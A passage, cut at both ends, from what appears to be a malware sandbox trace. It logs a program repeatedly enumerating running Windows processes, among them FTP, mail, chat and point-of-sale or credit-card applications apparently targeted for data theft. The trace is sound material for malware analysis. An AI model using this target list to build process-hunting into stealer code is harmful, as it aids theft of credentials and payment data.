th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0236.938] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0236.940] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.942] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0236.943] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0236.945] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0236.949] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0236.951] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0236.952] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0236.954] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0237.003] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0237.005] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0237.007] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0237.009] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0237.011] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0237.012] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0237.014] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0237.016] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0237.017] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0237.019] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0237.021] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0237.023] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0237.024] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0237.026] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0237.028] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0237.029] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0237.031] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0237.033] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0237.034] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0237.036] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0237.037] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0237.039] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0237.041] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0237.043] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0237.045] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0237.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0237.144] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0237.147] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0237.150] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0237.152] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0237.154] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0237.156] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0237.158] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0237.160] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0237.162] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0237.164] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0237.166] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0237.168] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0237.169] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0237.171] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0237.173] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0237.175] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0237.177] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0237.179] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0237.181] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0237.183] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0237.185] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0237.187] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0237.189] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0237.190] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0237.241] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0237.243] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0237.245] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0237.248] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0237.250] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0237.252] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0237.276] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0237.278] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0237.279] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0237.281] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0237.283] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0237.285] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0237.287] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.288] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.290] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.292] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0237.293] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0237.295] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.297] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0237.298] CloseHandle (hObject=0x13b0) returned 1 [0237.298] Sleep (dwMilliseconds=0x64) [0237.349] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0237.361] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.363] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.364] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, 